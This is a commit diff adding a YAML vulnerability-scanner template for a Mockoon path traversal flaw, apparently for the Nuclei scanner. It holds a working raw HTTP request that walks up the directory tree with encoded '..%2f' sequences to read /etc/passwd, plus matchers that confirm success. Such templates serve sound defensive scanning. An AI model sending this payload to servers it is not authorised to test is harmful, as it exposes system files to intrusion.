Create mockoon-lfi.yaml

http/vulnerabilities/other/mockoon-lfi.yaml

@@ -0,0 +1,33 @@
+id: mockoon-lfi
+
+info:
+  name: Mockoon <= 9.1.0 - Path Traversal
+  author: iamnoooob,rootxharsh,pdresearch
+  severity: high
+  description: |
+    A mock API configuration for static file serving following the same approach presented in the documentation page, where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem.
+  reference:
+    - https://github.com/advisories/GHSA-w7f9-wqc4-3wxr
+  tags: mockoon,lfi,oos
+
+variables:
+  static_dir: "static"
+
+http:
+  - raw:
+      - |
+        GET /{{static_dir}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+
+      - type: word
+        part: content_type
+        words:
+          - "application/json"